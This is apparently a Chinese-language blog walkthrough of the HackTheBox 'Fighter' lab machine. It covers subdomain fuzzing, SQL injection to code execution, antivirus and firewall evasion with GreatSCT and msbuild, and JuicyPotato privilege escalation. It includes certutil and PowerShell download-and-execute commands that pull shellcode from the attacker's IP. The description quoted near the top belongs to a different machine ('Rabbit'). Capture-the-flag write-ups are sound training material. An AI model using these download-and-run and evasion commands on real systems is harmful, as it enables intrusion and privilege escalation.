**
HackTheBox-windows-Fighter-Walkthrough
**
靶机地址：https://www.hackthebox.eu/home/machines/profile/137
靶机难度：中级（无/10）
靶机发布日期：2018年10月25日
靶机描述：
Rabbit is a fairly realistic machine which provides excellent practice for client-side attacks and web app enumeration. The large potential attack surface of the machine and lack of feedback for created payloads increases the difficulty of the machine.
作者：大余
时间：2020-03-22
请注意：对于所有这些计算机，我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，我概不负责。
一、信息收集
可以看到靶机的IP是10.10.10.72…
Nmap发现80端口开放着，版本IIS/8.5，可以知道Windows Server 2012 R2上运行（可以goole搜索即可知道）
这是拳皇…
这里找到了域名…streetfighterclub.htb，还让我们去找到下一个链接…先添加到hosts中
利用gobuster和dirb爆破域名…没发现任何信息…
命令：wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u streetfighterclub.htb -H "Host: FUZZ.streetfighterclub.htb" --hw 717
这里利用wfuzz进行域名爆破，发现了底下有members子域名，一般信息收集真实域名如果发现不了，去尝试发现子域名，会有意外收获…
这里把members.streetfighterclub.htb加入到hots中即可…继续爆破…
命令：gobuster dir -w /usr/share/dirb/wordlists/common.txt -u http://members.streetfighterclub.htb -o dayu.log
可以看到子域名爆破发现了有用的目录…old
这里前面知道运行的是IIS，存在asp文件，继续针对进行爆破…
命令：gobuster dir -w /usr/share/dirb/wordlists/common.txt -u http://members.streetfighterclub.htb/old -X .asp
可以看到发现了login.asp…
可以看到这是一个登陆界面…测试了默认密码都无法登陆，这边进行sql注入分析…
这里利用burpsuit进行分析…
经过初步分析，两个type中administrator和User的类型都是一致的，都是2017字节…这里我就随意用一个分析即可…
这里已经测试过了admin和passwd的注入，都无法注入…这里尝试在type发现了500的错误…这里有错误肯定有正确，找到反对注入点即可
可以看到存在注入点，符号加英文是返回302，英文加任何都是500回复…利用sql注入方法开始注入…
仔细可以看到，SQL注入回复了一封email…
找到了个电子邮件…
这里知道注入点可以找到对方的内容信息…那只要提交个shell即可提权？？？
这里经过了大神的文章，参考链接利用sql获得REC…
这里命令需要的私聊我，弄了几个小时…收获非常多…注入
可以看到成功获得低权用户…反向外壳…
打了挺多补丁的…159个…（牛逼）
在此用户上，不能查看user信息…
可以看到防火墙已经开放了80端口…
尝试用了MSF的EXE提权，和shell提权都没办法，防火墙阻碍了…
这边需要绕过防火墙，或者加入白名单等方式，进行提权了…
方法1：
GreatSCT利用这个工具进行防病毒…这里需要下载steup（在文件中带了，./setup -c即可下载相关组件）
命令：./GreatSCT.py
运行后，开始利用工具，里面很多exploit都是可以绕过各种防火墙的shell…这里生成即可…use Bypass选择绕过的意思…
这里不懂得可以看我前面截图得help…
list选择payload…GO
可以看到，这里选择https得payload…（q返回上一层）
选择刚利用得payload即可…
这里填写反向shell回来指向本地IP即可…然后generate执行产生有效载荷…
执行完generate后，直接输入dayushell即可…（名称）
然后会生成shellcode…这里直接利用dayushell.xml即可…
命令：certutil.exe -urlcache -split -f http://10.10.14.11/dayushell.xml dayushell.xml
本地开启80服务上传文件，成功利用windows上带得certutil上传了shellcode…
这里利用MSF来进行监听…选择https…端口选择和shellcode一致即可…
这里要利用windows自带得msbuild.exe进行白名单方式绕过执行.xml得shellcode文件…
msbuild.exe存放的路径搜索都能知道…
开始提权…GO
可以看到，是可以提权的，但是利用MSF也无法获取反向shell的数据包…
不知道是exploit错了，还是GreatSCT有生成的包有问题…这里按照思路尝试了挺久，没成功，应该是exp有问题…大家看到这里的可以尝试下…
方法2：
https://github.com/ohpe/juicy-potato
利用土豆进行绕过防火墙提权…
下载到本地…
上传即可…
随意拿一个文件执行，可以看到需要得条件挺多，条件允许得情况才可提权…开始把
这里需要一个shell…利用nishang即可…
命令：cmd /c "echo powershell iex(new-object net.webclient).downloadstring(''http://10.10.14.11/dayu'') >shell.bat"
写一个Bat…利用powershell上传shellcode…现在只差CLSID了…
到这里找即可…
前面Nmap和低权systeminfo都可以看出系统信息…选择2012即可…
可以看到随意利用CLSID不对…这里一个一个试即可…版本所有得CLSID都在里面…不多
命令：C:\windows\system32\spool\drivers\color\JuicyPotato.exe -p shell.bat -t * -l 1337 -c '{8F5DF053-3013-4dd8-B5F4-88214E81C0CF}'
这里出了点问题，前面CLSID成功了，但是80却没上传dayu得shellcode…检查发现多打了两个点…看图即可…
可以看到成功提权…这里通过CLSID方式绕过了防火墙防病毒模块…
三、逆向工程
user可以正常读取…这里查看root信息还有个小坑…root
可以看到还存在着一个checkdll.dll文件…可以利用它解析root.exe成txt文件，然后下载即可…
可以看到执行root.exe需要passwd…这里开始解析，下载下来…
这里要逆向去分析root.exe了…GO
这边需要使用到IDA进行…装了半天还是没装上，有人kali装了IDA的教我下…但是我装在了电脑上…在windows10进行分析一样…
这里记得checkdll.dll 也要下载，这两个是连带的…不然无法逆向…
可以看到成功打开了，这已经不是我第一次玩逆向了…开始
可以看到root.exe是基于checkdll.dll执行的，如果想分析打开root.exe只要去逆向解析checkdll即可…
这里shift+F12可以弹出string window 可以查看详细的插件汇编内容…
这里需要知道程序对变量aFmFeholH的字符是多少，点击check+8跳转到Fm`fEhOl}h去查看下…
这里可以看到Fm`fEhOl}h该函数对于aFmFeholH的xor每个字符是9…
这里就好办了，直接写个简单python跑下即可…
for i in "Fm`fEhOl}h":
print(chr(ord(i) ^ ord('\x09')),end='')
print()
简单的命令跑下即可…得到了密码OdioLaFeta…
可以看到成功获得root信息…
从开始的信息收集域名爆破，到burpsuit分析sql注入点，到绕过防火墙提权，到利用IDA逆向解析.exe程序…
学到挺多，做的过程很头疼，做完的感觉思路很清晰…加油！！！
这里应该还有很多绕开WAF、防火墙、防病毒模块等大神写的工具，或者方法，慢慢总结！
kali还是没装成IDA…估计是环境问题…
GreatSCT提权还是有问题…
希望会以上这两个的，私聊告知，感谢！
由于我们已经成功得到root权限查看user.txt和root.txt，因此完成了较困难靶机，希望你们喜欢这台机器，请继续关注大余后期会有更多具有挑战性的机器，一起练习学习。
如果你有其他的方法，欢迎留言。要是有写错了的地方，请你一定要告诉我。要是你觉得这篇博客写的还不错，欢迎分享给身边的人。
